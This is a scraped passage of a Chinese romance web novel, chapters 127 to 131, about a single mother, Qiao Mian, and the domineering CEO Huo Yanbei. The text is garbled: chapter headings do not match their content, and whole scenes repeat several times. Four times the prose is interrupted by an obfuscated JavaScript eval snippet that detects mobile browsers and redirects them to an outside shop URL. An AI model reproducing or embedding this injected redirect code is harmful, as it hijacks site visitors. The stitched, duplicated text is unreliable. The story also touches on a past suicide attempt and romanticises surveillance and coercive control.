他很怕小叔殃及他这条小池鱼。 “小叔,就这么定了,可不许反悔。” 霍宴北抬了下下巴:“出去找陈珂,让他带你去财务处走流程。” “好嘞!” 霍沉走到门口,忽然转身朝小叔眨了眨眼睛,“小叔,你放心,你在外养女人的事情,我保证不会跟小婶告密的。” “对了,小婶和孩子快回国了,到时候我请……” 话还未说完,霍宴北薄唇溢出一个寒冷的字,“滚。” 霍沉吓得一个激灵,飞快闪人。 很快,偌大的办公室静谧下来。 霍宴北低头,看了乔眠一眼,想说她可以出来了时,却看到女人低着头揉眼睛。 不知为何,他的心蓦地一刺。 伸手攥住乔眠的手腕,将人从办公桌下面拉了出来。 动作有些粗暴,很用力,乔眠毫无防备的跌进了他怀里。 好巧不巧的,她的唇撞到了他的下颌。 突如其来的亲密举动,让两人同时怔住。 甚至能听清楚两具身体紧贴在一起,胸腔里的心跳声。 霍宴北感受着怀里女人娇软的身体,以及那股淡淡的幽香钻入鼻息时,腰腹瞬间紧绷起来。 落在女人纤细小腰的大掌,下意识收紧。 “你要趴在我怀里多久?” 男人微哑的嗓音落入耳边。 乔眠猛地抬头,对上一双深不见底的眸子。 她双手撑着他的胸膛,挣扎着要起身时,腰上那股力猛地压下。 使得她又跌回到她怀里。 她仰脸瞪着他。 男人粗粝的指腹,碾过女人被磕破的唇,“公司法务部门有个实习空缺,要不要来?” 乔眠愣了下,霍宴北已经捏起她的下巴:“月薪一万。” 且不提薪资,单说能够进入霍氏集团,是多少人求都求不来的。 他却给她开绿灯,让她去法务部? 乔眠望着他的眼神里多了一丝困惑。 霍宴北淡淡又说了一句:“酒吧环境复杂,不适合你。” 乔眠推开腰上的手,擦了擦唇上渗着的血丝,站起身后,神情冷淡的回复:【霍先生与我只是陌生人,实在无福消受您的好意。】 说到这里,她笑了一下:【我觉得在酒吧工作挺好的,我喜欢。】 男人蹙眉,“喜欢?昨夜你醉成那样,就是喜欢这份工作的后果。” 【霍先生,那是我的工作,与您无关。】 说罢,她拿起放在办公桌上的包,转身就走。 “你似乎很缺钱,不考虑一下?” 男人清冷的声音从身后传来。 乔眠顿住脚步,转身看向他,【霍先生对别的女人散播爱心,就不怕您的妻子不高兴?】 霍宴北起身,走到她面前,附身,望着她泛红的眼瞳,勾了勾唇角:“乔眠,你似乎很关心我的个人问题?” 乔眠咬了一下唇:【您误会了,我只是随口一问。】 男人望着她再次转身要走时,问出一直以来纠结于心的问题:“我们以前是不是在哪儿见过?” 他记忆力很好,但凡见过的人,都会有印象。 但是乔眠例外。 她给他的感觉特别熟悉。 但这张脸,却又很陌生。 乔眠转身,手语动作铿锵有力:【没有。】 末了,反问了一句:【我很好奇,我和霍先生并不熟,您为什么想给我提供工作?】 霍宴北看着她的眼睛,眼眸里涌动着一丝复杂的情绪,“因为觉得你很可怜。” “……” 乔眠的心脏犹如被重物击中一样疼。 他向来冷漠,不是一个会发散同情心的人。 六年前,但凡他怜悯她,就不会当众打了她一巴掌。 也不会弃她于火场。 六年后,他的这份怜悯,又源自于哪里? 第127章 做亲子鉴定 乔眠苦涩一笑:【原来霍大总裁生了一副慈悲心肠,可这世上的穷苦之人千千万,霍先生每一个人都要帮吗?】 霍宴北皱眉。 她话中带刺。 甚至带着点嘲讽。 不知是不是他想多了,还感觉出一丝……怨恨。 这个女人的反应……很奇怪。 按正常人思维,得到别人的帮助,无论接不接受别人的善意,总该表现出最起码的礼貌的和感激。 她不是。 她拒绝他的善意也就罢了,还是一副好像他冒犯到她,很敌意的态度。 此时的她,没有之前几次见到他时的过度紧张,冷若冰霜的拒人千里之外。 霍宴北薄唇紧抿:“乔眠,不是每个人都有这个机会的,得珍惜。” 乔眠冷笑,【抱歉,霍先生的好意,我不接受。】 “别装。” “……” 乔眠皱眉,想骂人。 却见霍宴北折返到办公桌前,从抽屉里拿出一个盒子,转身走到她面前,将东西递给她。 乔眠垂眸一看。 是一个还未拆封的手机盒。 看型号,是刚上市,还未销售的知名品牌手机。 官网预售价一万六。 “来霍氏集团上班,得体面,你那部手机那么破,以后见客户会被人诟病。” 他一副断定她会答应来霍氏集团上班似的。 口吻更是以老板对员工的态度。 且强行将手机丢进了她手里。 “出去吧,陈珂会带你办理入职手续。” 说完,男人转身朝办公桌前走去。 乔眠颤抖的手指,死死抠着手机盒。 快要把盒子抠出一个洞了。 他果然还是没变啊。 行事作风依旧强势霸道。 他大概站在高处习惯了,以为,赏一颗糖,别人就得对他千恩万谢? 乔眠笑了。 手上一松。 手机盒啪一声,掉在了地上。 霍宴北听到动静,转身后,只看到一抹消失在门口的纤细身影。 当看到地上的手机盒时,脸色黑的能拧出墨汁来。 她不要手机,还把她的新手机,当垃圾一样丢在了地上? 霍宴北狠狠咬了咬后牙槽。 这时,陈珂走了进来,看到地上的手机盒,立马捡了起来,“霍总,我刚刚看到乔小姐好像哭着跑出去了……” 霍宴北冰冷阴沉的脸色微微一怔,“她……哭什么?” 陈珂抓了抓额头,“您是不是对乔小姐做什么了?” 霍宴北烦躁的厉害,语气很不好:“给她提供工作,给她新手机,她不接受也就罢了,还把手机给老子扔到了地上,我怎么知道她哭什么?” 陈珂也很纳闷,若不是她有几分似霍妩小姐,霍总怕是连多看她一眼都不会。 虽然,这个女人挺漂亮的。 “霍总,你帮她,她怎么还清高上了?” 陈珂忍不住嘟哝了一句。 男人将自己扔进真皮座椅里,点了一根烟,吞云吐雾,半响没有吭声。 陈珂走过去,将手机盒放在办公桌上,问了一句,“那法务部助理一职,还要给她保留吗?” 霍宴北皱着眉,抬手将手机盒挥到了地上。 “不必了!” 声音冷的骇人。 陈珂还没见过平日里冷漠寡情的二爷,会被一个女人气得脾气如此失控。 陈珂禁不住打了一个寒颤,“霍总,您别动怒,我让温秘书给您冲杯咖啡消消气。” 霍宴北吐出一口烟圈,沉默。 陈珂知道,这便是应允了。 他弯腰,再次将那只手机盒捡起来,放在办公桌上后,退出了办公室。 霍宴北盯着那只手机盒,心情愈加烦躁,直接扔进了抽屉。 却忽然想起乔眠手腕上戴着的那只电话手表。 她为什么会有儿童电话手表? 男人眼神微微眯起。 打开手机,点开那个叫芋粥无底美少女的微信,望着聊天记录里,最后三条错别字一堆的消息。 你几碎了? 劫婚了吗? 有钱吗? 盯着看了好一会儿,鬼使神差的回复: 29岁。 未婚。 很有钱。 …… 乔眠从总裁办公室出来后,没有立即下楼。 而是跑到了洗手间。 站在洗手台前,鞠起一捧冷水往脸上浇。 试图掩饰掉眼角不断往外涌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17101746|195743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出来的泪珠。 水打在脸上,把妆都弄花了。 化妆品糊在脸上,让她看起来,狼狈的像一个小丑。 脑子里霍宴北的那些话,一遍一遍在耳边回放。 这世上任何一个人嘲讽她,羞辱她,她都不会如此心痛。 尤其是,从口中说出‘体面’二字。 她承认,刚才在他面前,她的自尊心很受挫。 她也想体体面面的生活,可是,造成她走到现在这个地步的是他! 是他注销了她的身份信息,让她像一只被丢弃在路边的流浪猫一样,无处可去,连在这个世上生存都难。 若不是,那个人给了她一个活下去的身份,她大概已经**。 她摸着手腕上,隐隐还能摸出来的一道凹凸不平的刀痕,眼泪再次不争气的涌了出来。 当年,她割腕**,被人所救后,才得知自己怀孕了…… 想到这些,她又往脸上泼了几捧冷水。 情绪冷静下来后,她从包里翻找纸巾时,一个女人 拿着几张纸巾,递到她眼前,声音清悦,“擦擦吧。” 乔眠没接。 抬头一看,微微一愣。 是之前在电梯里,被议论的那个女人,温……秋。 年龄也只有二十三四岁,穿着一套黑色职业套裙。 肤色很白,黑发干净利索的绾在脑后。 虽然胖些,但是,身材属于那种匀称的胖。 脸蛋称不上漂亮,但看起来干干净净的。 “给。” 见她没接,温秋又将纸巾往她眼前送了送。 乔眠这才接过来,说了一声谢谢。 女人对着镜子补妆时,扫了一眼她肩上挎着的包,随口一问:“你也是霍总资助的大学生?” 也? 乔眠愣了一下,一时没懂她为何这么问。 “不是。” 说完,这才意识到,自己又能说话了。 温秋再次盯了一眼她的包后,笑着问,“那你是新来的?我刚才看到你从霍总办公室出来呢。” 乔眠这才听明白,温秋在打探她和霍宴北的关系。 也是,像他那样一个京圈太子爷,又是高高在上的千亿总裁,哪个女人不惦记? 第128章 真心祝福他百年好合 乔眠听到‘霍沉’这个名字,本就慌乱的心,更慌了。 办公室的门把手转动,随着一声‘小叔’的唤声响起,乔眠心下一乱,躲了起来。 霍沉进来后,正好看到霍宴沉从休息室走出来。 手里还拿着一个女士包。 “小叔,你怎么拿着女人的包?” 霍沉意味深长的笑着问。 “多事。” 霍宴北目光冷淡的看了他一眼。 然后,扫了一圈办公室,没寻到那个女人的身影,以为她走了。 他把包丢在办公桌上,脸色微沉的走到办公桌后面。 刚坐下,却看到躲在办公桌下面的乔眠。 男人额头青筋一跳。 乔眠蹲在地上,仰着小脸,尴尬的冲他笑了一下。 要是被霍沉撞见她在霍宴北办公室,指不定招惹出什么闲话。 况且,她还得罪了霍沉。 让他逮住她的话,怕是又要不依不饶的讨伐她。 昨夜那六杯酒,就是教训。 “小叔,你看什么呢?” 霍沉走到办公桌前,拉开一张椅子坐下。 “你来做什么?” 霍宴北抬头,清冷的目光扫了他一眼。 霍沉的关注点依旧在小叔的私生活上。 他瞅了一眼那只女包,嬉皮笑脸的问,“这个包,是不是昨夜你抱着的那个女人的?” “嗯。” 他毫不避讳的承认。 霍沉呲牙一笑,好奇心爆棚:“能入得了小叔眼的女人,肯定很漂亮,她跟宋蔓小婶比,谁更漂亮?” 宋蔓小婶…… 他真的和宋蔓结婚了…… 乔眠仰头,看着霍宴北。 他没有否认。 感受到女人的盯视时,垂眸,看了她一眼。 不知是不是错觉,似乎看到她匆忙低头时,泛红的眼圈。 “小叔,我以为你这样冷的性子,是不会在外面养女人的,我很好奇,什么样的女人比宋蔓小婶还优秀,抓住了你的心。” 霍沉不知死活的喋喋不休。 霍宴北脸色变得很难看,“没事就滚。” “有事有事。” 霍沉做投降状,“小叔,我这不是要开酒吧一条街嘛,但是,你知道的,我爸妈不支持我,非逼着我到集团上班,还把我卡里的钱冻结了。” 男人手指轻叩桌案,“说重点。” “我需要一笔启动资金。” 说着,霍沉站起身,一脸认真道:“小叔,你就当投资副产入股,你是大股东,我捞个二股东就成,从管理到经营我全包,你看咋样?” 霍宴北扫了一眼桌下的女人后,淡声回道,“可以。” 霍沉怔了一下。 没想到小叔答应这么痛快。 来之前,他完全不抱希望的。 毕竟,他爸妈和小叔之间的关系并不好。 他很怕小叔殃及他这条小池鱼。 “小叔,就这么定了,可不许反悔。” 霍宴北抬了下下巴:“出去找陈珂,让他带你去财务处走流程。” “好嘞!” 霍沉走到门口,忽然转身朝小叔眨了眨眼睛,“小叔,你放心,你在外养女人的事情,我保证不会跟小婶告密的。” “对了,小婶和孩子快回国了,到时候我请……” 话还未说完,霍宴北薄唇溢出一个寒冷的字,“滚。” 霍沉吓得一个激灵,飞快闪人。 很快,偌大的办公室静谧下来。 霍宴北低头,看了乔眠一眼,想说她可以出来了时,却看到女人低着头揉眼睛。 不知为何,他的心蓦地一刺。 伸手攥住乔眠的手腕,将人从办公桌下面拉了出来。 动作有些粗暴,很用力,乔眠毫无防备的跌进了他怀里。 好巧不巧的,她的唇撞到了他的下颌。 突如其来的亲密举动,让两人同时怔住。 甚至能听清楚两具身体紧贴在一起,胸腔里的心跳声。 霍宴北感受着怀里女人娇软的身体,以及那股淡淡的幽香钻入鼻息时,腰腹瞬间紧绷起来。 落在女人纤细小腰的大掌,下意识收紧。 “你要趴在我怀里多久?” 男人微哑的嗓音落入耳边。 乔眠猛地抬头,对上一双深不见底的眸子。 她双手撑着他的胸膛,挣扎着要起身时,腰上那股力猛地压下。 使得她又跌回到她怀里。 她仰脸瞪着他。 男人粗粝的指腹, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17101747|195743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 碾过女人被磕破的唇,“公司法务部门有个实习空缺,要不要来?” 乔眠愣了下,霍宴北已经捏起她的下巴:“月薪一万。” 且不提薪资,单说能够进入霍氏集团,是多少人求都求不来的。 他却给她开绿灯,让她去法务部? 乔眠望着他的眼神里多了一丝困惑。 霍宴北淡淡又说了一句:“酒吧环境复杂,不适合你。” 乔眠推开腰上的手,擦了擦唇上渗着的血丝,站起身后,神情冷淡的回复:【霍先生与我只是陌生人,实在无福消受您的好意。】 说到这里,她笑了一下:【我觉得在酒吧工作挺好的,我喜欢。】 男人蹙眉,“喜欢?昨夜你醉成那样,就是喜欢这份工作的后果。” 【霍先生,那是我的工作,与您无关。】 说罢,她拿起放在办公桌上的包,转身就走。 “你似乎很缺钱,不考虑一下?” 男人清冷的声音从身后传来。 乔眠顿住脚步,转身看向他,【霍先生对别的女人散播爱心,就不怕您的妻子不高兴?】 霍宴北起身,走到她面前,附身,望着她泛红的眼瞳,勾了勾唇角:“乔眠,你似乎很关心我的个人问题?” 乔眠咬了一下唇:【您误会了,我只是随口一问。】 男人望着她再次转身要走时,问出一直以来纠结于心的问题:“我们以前是不是在哪儿见过?” 他记忆力很好,但凡见过的人,都会有印象。 但是乔眠例外。 她给他的感觉特别熟悉。 但这张脸,却又很陌生。 乔眠转身,手语动作铿锵有力:【没有。】 末了,反问了一句:【我很好奇,我和霍先生并不熟,您为什么想给我提供工作?】 霍宴北看着她的眼睛,眼眸里涌动着一丝复杂的情绪,“因为觉得你很可怜。” “……” 乔眠的心脏犹如被重物击中一样疼。 他向来冷漠,不是一个会发散同情心的人。 六年前,但凡他怜悯她,就不会当众打了她一巴掌。 也不会弃她于火场。 六年后,他的这份怜悯,又源自于哪里? 第129章 门锁被狗男人换了 乔眠苦涩一笑:【原来霍大总裁生了一副慈悲心肠,可这世上的穷苦之人千千万,霍先生每一个人都要帮吗?】 霍宴北皱眉。 她话中带刺。 甚至带着点嘲讽。 不知是不是他想多了,还感觉出一丝……怨恨。 这个女人的反应……很奇怪。 按正常人思维,得到别人的帮助,无论接不接受别人的善意,总该表现出最起码的礼貌的和感激。 她不是。 她拒绝他的善意也就罢了,还是一副好像他冒犯到她,很敌意的态度。 此时的她,没有之前几次见到他时的过度紧张,冷若冰霜的拒人千里之外。 霍宴北薄唇紧抿:“乔眠,不是每个人都有这个机会的,得珍惜。” 乔眠冷笑,【抱歉,霍先生的好意,我不接受。】 “别装。” “……” 乔眠皱眉,想骂人。 却见霍宴北折返到办公桌前,从抽屉里拿出一个盒子,转身走到她面前,将东西递给她。 乔眠垂眸一看。 是一个还未拆封的手机盒。 看型号,是刚上市,还未销售的知名品牌手机。 官网预售价一万六。 “来霍氏集团上班,得体面,你那部手机那么破,以后见客户会被人诟病。” 他一副断定她会答应来霍氏集团上班似的。 口吻更是以老板对员工的态度。 且强行将手机丢进了她手里。 “出去吧,陈珂会带你办理入职手续。” 说完,男人转身朝办公桌前走去。 乔眠颤抖的手指,死死抠着手机盒。 快要把盒子抠出一个洞了。 他果然还是没变啊。 行事作风依旧强势霸道。 他大概站在高处习惯了,以为,赏一颗糖,别人就得对他千恩万谢? 乔眠笑了。 手上一松。 手机盒啪一声,掉在了地上。 霍宴北听到动静,转身后,只看到一抹消失在门口的纤细身影。 当看到地上的手机盒时,脸色黑的能拧出墨汁来。 她不要手机,还把她的新手机,当垃圾一样丢在了地上? 霍宴北狠狠咬了咬后牙槽。 这时,陈珂走了进来,看到地上的手机盒,立马捡了起来,“霍总,我刚刚看到乔小姐好像哭着跑出去了……” 霍宴北冰冷阴沉的脸色微微一怔,“她……哭什么?” 陈珂抓了抓额头,“您是不是对乔小姐做什么了?” 霍宴北烦躁的厉害,语气很不好:“给她提供工作,给她新手机,她不接受也就罢了,还把手机给老子扔到了地上,我怎么知道她哭什么?” 陈珂也很纳闷,若不是她有几分似霍妩小姐,霍总怕是连多看她一眼都不会。 虽然,这个女人挺漂亮的。 “霍总,你帮她,她怎么还清高上了?” 陈珂忍不住嘟哝了一句。 男人将自己扔进真皮座椅里,点了一根烟,吞云吐雾,半响没有吭声。 陈珂走过去,将手机盒放在办公桌上,问了一句,“那法务部助理一职,还要给她保留吗?” 霍宴北皱着眉,抬手将手机盒挥到了地上。 “不必了!” 声音冷的骇人。 陈珂还没见过平日里冷漠寡情的二爷,会被一个女人气得脾气如此失控。 陈珂禁不住打了一个寒颤,“霍总,您别动怒,我让温秘书给您冲杯咖啡消消气。” 霍宴北吐出一口烟圈,沉默。 陈珂知道,这便是应允了。 他弯腰,再次将那只手机盒捡起来,放在办公桌上后,退出了办公室。 霍宴北盯着那只手机盒,心情愈加烦躁,直接扔进了抽屉。 却忽然想起乔眠手腕上戴着的那只电话手表。 她为什么会有儿童电话手表? 男人眼神微微眯起。 打开手机,点开那个叫芋粥无底美少女的微信,望着聊天记录里,最后三条错别字一堆的消息。 你几碎了? 劫婚了吗? 有钱吗? 盯着看了好一会儿,鬼使神差的回复: 29岁。 未婚。 很有钱。 …… 乔眠从总裁办公室出来后,没有立即下楼。 而是跑到了洗手间。 站在洗手台前,鞠起一捧冷水往脸上浇。 试图掩饰掉眼角不断往外涌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17101748|195743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出来的泪珠。 水打在脸上,把妆都弄花了。 化妆品糊在脸上,让她看起来,狼狈的像一个小丑。 脑子里霍宴北的那些话,一遍一遍在耳边回放。 这世上任何一个人嘲讽她,羞辱她,她都不会如此心痛。 尤其是,从口中说出‘体面’二字。 她承认,刚才在他面前,她的自尊心很受挫。 她也想体体面面的生活,可是,造成她走到现在这个地步的是他! 是他注销了她的身份信息,让她像一只被丢弃在路边的流浪猫一样,无处可去,连在这个世上生存都难。 若不是,那个人给了她一个活下去的身份,她大概已经**。 她摸着手腕上,隐隐还能摸出来的一道凹凸不平的刀痕,眼泪再次不争气的涌了出来。 当年,她割腕**,被人所救后,才得知自己怀孕了…… 想到这些,她又往脸上泼了几捧冷水。 情绪冷静下来后,她从包里翻找纸巾时,一个女人 拿着几张纸巾,递到她眼前,声音清悦,“擦擦吧。” 乔眠没接。 抬头一看,微微一愣。 是之前在电梯里,被议论的那个女人,温……秋。 年龄也只有二十三四岁,穿着一套黑色职业套裙。 肤色很白,黑发干净利索的绾在脑后。 虽然胖些,但是,身材属于那种匀称的胖。 脸蛋称不上漂亮,但看起来干干净净的。 “给。” 见她没接,温秋又将纸巾往她眼前送了送。 乔眠这才接过来,说了一声谢谢。 女人对着镜子补妆时,扫了一眼她肩上挎着的包,随口一问:“你也是霍总资助的大学生?” 也? 乔眠愣了一下,一时没懂她为何这么问。 “不是。” 说完,这才意识到,自己又能说话了。 温秋再次盯了一眼她的包后,笑着问,“那你是新来的?我刚才看到你从霍总办公室出来呢。” 乔眠这才听明白,温秋在打探她和霍宴北的关系。 也是,像他那样一个京圈太子爷,又是高高在上的千亿总裁,哪个女人不惦记? 第130章 霍宴北,我喜欢你 乔眠看着崭新的智能电子门锁,一脸茫然。 这不是她买的智能门锁,更不是她更换的。 她上网查了一下这个牌子的价格,至少三万起步。 自然也不是阮薇。 如果是顾淮年做的话,以他那性格,早在她面前现眼了。 也不可能是稳重自持的周津南。 所以,只有可能是疯批霸道的……霍宴北! 她本来想尝试输入密码开锁,但是,语音提示,门锁系统设置了语音开锁模式,需要回答对应的语音密码才能开锁。 乔眠鼓弄了半天,门锁没打开,门锁系统自动报警,引得楼里住户纷纷出来有意见了。 还以为是消防报警器响了。 “乔律师,你这是干啥呢?大晚上,家里有老人孩子需要休息呢!” “就是,搞这么先进的科技门锁,不知道的还以为你家藏金矿了呢!” 街坊邻里七嘴八舌议论了几句后,各自回屋了。 乔眠揽着三个孩子坐在楼道里,又无语又生气。 最终,还是掏出手机,给霍宴北打电话。 但是,对方迟迟没有接听。 最后,她只好把电话打给了陈珂。 此时,陈珂的车就停在弄堂外的路边。 今晚,他比陀螺都忙。 刚将顾淮年送到医院,霍总就打来电话,让他火速命人把乔眠家的门锁换成了市面上新出的一款AI智能电子门锁。 还让安装师傅设置了一道语音开锁密码。 此时,听到电话里乔眠询问门锁是不是霍宴北换的时,陈珂透过后视镜,偷偷瞄了一眼靠坐在后车座,沉默抽烟的男人,压低声音说,“乔律师,霍总帮你换门锁,也是为了你和孩子们的安全考虑。” 乔眠听到这句话,很是窝火,可现下不是撒脾气的时候。 现在已经十点多了。 这会儿,乔慕心窝在她怀里快睡着了。 乔慕城和乔慕野蹲坐在她旁边,两小团,可怜巴巴的。 关键是,乔慕野有些等不及了,拽了拽她的衣袖,“妈妈,我想嘘嘘……” 乔眠不再废话,直接问,“语音密码到底是什么?” 陈珂咳了一声,清了清嗓门,尴尬的回了一句,“霍宴北,我喜欢你……” “什么?” 乔眠脑子宕机了几秒。 还以为自己听岔了。 反应了好几秒后,无语至极,“这是开门的语音密码?” “对……” 陈珂皮笑肉不笑的回道。 连他都觉得霍总用这招对付乔律师,实在有些……损。 乔眠攥着手机的纤细手指根根泛白,气得咬牙切齿。 又特别无奈。 霍宴北报复心极强,下班时,听到了她跟顾淮年说不喜欢他的那番话,现在就用这种低级恶劣的方式报复了回来。 他简直就是个疯子! “妈妈……” 乔慕野可怜兮兮的又拽了拽她的衣袖,“我快尿裤裤了……” 乔眠这才匆匆切断电话,对着门锁控制面板,带着一股子怨气,咬牙切齿的一字一顿念出语音密码,“霍宴北,我喜欢你!” 叮铃一声。 门锁开启。 一道机械的女提示音响起:“您好,欢迎乔律师回家,我是你的语音助手宴北先生,有困难找宴北先生,服务包您满意……” 乔眠又气又想笑。 打开门,让孩子们先进去。 她尝试更换密码,却被提示禁用半个小时。 她只好放弃,进了屋。 “妈妈,原来你这么喜欢霍叔叔啊?” 乔慕心还有些懵懵的。 只记得妈妈对着门锁说了一句喜欢霍叔叔,门锁就开了。 说明妈妈很喜欢霍叔叔…… 乔慕城也是一脸迷惑,“妈妈,你之前不是说霍叔叔只是你的上司吗?” 乔慕野从卫生间出来,听到谈话后,跑到乔眠身前,“妈妈,你是在偷偷跟霍叔叔告白吗?” 乔眠被问的哑口无言。 好半天,才哄着孩子们去浴室洗漱洗澡。 等孩子们睡下后,乔眠再次给霍宴北打电话。 只是,依旧没人接听。 气得乔眠打开门,又鼓弄了半天门锁,结果又自动报警了。 楼道里传来许多不满的声音。 乔眠这才一脸土色的回屋。 那端。 霍宴北盯着手机里,乔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17101749|195743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眠趴在门口,鼓弄门锁的监控画面,心里的火气一下子散去不少。 并且循环播放乔眠对着门锁说的那句语音密码:【我喜欢霍宴北!】 陈珂听得头皮发麻。 怪不得乔律师一直躲着霍总。 现在的霍总……真是越来越疯了还有点变态! “霍总,乔律师在电话里似乎很生气。” 陈珂提醒了一句。 男人目光依旧盯着手机里的监控视频,看到乔眠再一次徒劳无功的回了卧室后,才语气低沉的应了一声,“驯服她,就得给她涨点教训,若不然,她一点儿都不乖。” 陈珂汗颜。 心想,逼得太紧的话,乔律师怕是越想逃离。 第二天,乔眠请了半天假。 拨打了这款门锁的人工客服。 要求师傅上门更换门锁密码。 十点多,师傅来了。 最后,修理半天却告诉她,更改语音密码系统,需要原始主人的指纹解锁重置密码才行。” 乔眠眼前一黑。 “所以,以后我每天只能用语音密码才能解锁开门?” “是的,女士。” “……” 乔眠咬牙。 所以,她每天开门,都要对着门锁表白一次? 狗男人! 饶是她情绪管理还算稳定的一个人,这会儿也禁不住要飙脏话了。 她说不喜欢他。 他偏要她每天开门对他表白一次。 这种报复方式,真够绝的! “师傅,我要拆锁。” 乔眠愤愤道。 师傅一脸心疼的表情,“这锁好几万呐,真的要拆吗?” “拆!” 乔眠没有半分犹豫。 恨不得把整扇门拆了。 师傅见主家都这么说了,只好拆锁。 “女士,拆锁费不在维修范围内,需付三百。” 乔眠肉疼的准备付钱时,手机响了。 是陈珂打来的一个电话。 “乔律师,霍总说,你拆掉一个门锁,后面还会有无数个门锁等着安装。” “他脑子有病!” 乔眠失控的低吼一声。 挂断电话后,一屁股坐在台阶上,气闷的喘不上来气。 第131章 他成了她的老板 乔眠苦涩一笑:【原来霍大总裁生了一副慈悲心肠,可这世上的穷苦之人千千万,霍先生每一个人都要帮吗?】 霍宴北皱眉。 她话中带刺。 甚至带着点嘲讽。 不知是不是他想多了,还感觉出一丝……怨恨。 这个女人的反应……很奇怪。 按正常人思维,得到别人的帮助,无论接不接受别人的善意,总该表现出最起码的礼貌的和感激。 她不是。 她拒绝他的善意也就罢了,还是一副好像他冒犯到她,很敌意的态度。 此时的她,没有之前几次见到他时的过度紧张,冷若冰霜的拒人千里之外。 霍宴北薄唇紧抿:“乔眠,不是每个人都有这个机会的,得珍惜。” 乔眠冷笑,【抱歉,霍先生的好意,我不接受。】 “别装。” “……” 乔眠皱眉,想骂人。 却见霍宴北折返到办公桌前,从抽屉里拿出一个盒子,转身走到她面前,将东西递给她。 乔眠垂眸一看。 是一个还未拆封的手机盒。 看型号,是刚上市,还未销售的知名品牌手机。 官网预售价一万六。 “来霍氏集团上班,得体面,你那部手机那么破,以后见客户会被人诟病。” 他一副断定她会答应来霍氏集团上班似的。 口吻更是以老板对员工的态度。 且强行将手机丢进了她手里。 “出去吧,陈珂会带你办理入职手续。” 说完,男人转身朝办公桌前走去。 乔眠颤抖的手指,死死抠着手机盒。 快要把盒子抠出一个洞了。 他果然还是没变啊。 行事作风依旧强势霸道。 他大概站在高处习惯了,以为,赏一颗糖,别人就得对他千恩万谢? 乔眠笑了。 手上一松。 手机盒啪一声,掉在了地上。 霍宴北听到动静,转身后,只看到一抹消失在门口的纤细身影。 当看到地上的手机盒时,脸色黑的能拧出墨汁来。 她不要手机,还把她的新手机,当垃圾一样丢在了地上? 霍宴北狠狠咬了咬后牙槽。 这时,陈珂走了进来,看到地上的手机盒,立马捡了起来,“霍总,我刚刚看到乔小姐好像哭着跑出去了……” 霍宴北冰冷阴沉的脸色微微一怔,“她……哭什么?” 陈珂抓了抓额头,“您是不是对乔小姐做什么了?” 霍宴北烦躁的厉害,语气很不好:“给她提供工作,给她新手机,她不接受也就罢了,还把手机给老子扔到了地上,我怎么知道她哭什么?” 陈珂也很纳闷,若不是她有几分似霍妩小姐,霍总怕是连多看她一眼都不会。 虽然,这个女人挺漂亮的。 “霍总,你帮她,她怎么还清高上了?” 陈珂忍不住嘟哝了一句。 男人将自己扔进真皮座椅里,点了一根烟,吞云吐雾,半响没有吭声。 陈珂走过去,将手机盒放在办公桌上,问了一句,“那法务部助理一职,还要给她保留吗?” 霍宴北皱着眉,抬手将手机盒挥到了地上。 “不必了!” 声音冷的骇人。 陈珂还没见过平日里冷漠寡情的二爷,会被一个女人气得脾气如此失控。 陈珂禁不住打了一个寒颤,“霍总,您别动怒,我让温秘书给您冲杯咖啡消消气。” 霍宴北吐出一口烟圈,沉默。 陈珂知道,这便是应允了。 他弯腰,再次将那只手机盒捡起来,放在办公桌上后,退出了办公室。 霍宴北盯着那只手机盒,心情愈加烦躁,直接扔进了抽屉。 却忽然想起乔眠手腕上戴着的那只电话手表。 她为什么会有儿童电话手表? 男人眼神微微眯起。 打开手机,点开那个叫芋粥无底美少女的微信,望着聊天记录里,最后三条错别字一堆的消息。 你几碎了? 劫婚了吗? 有钱吗? 盯着看了好一会儿,鬼使神差的回复: 29岁。 未婚。 很有钱。 …… 乔眠从总裁办公室出来后,没有立即下楼。 而是跑到了洗手间。 站在洗手台前,鞠起一捧冷水往脸上浇。 试图掩饰掉眼角不断往外涌 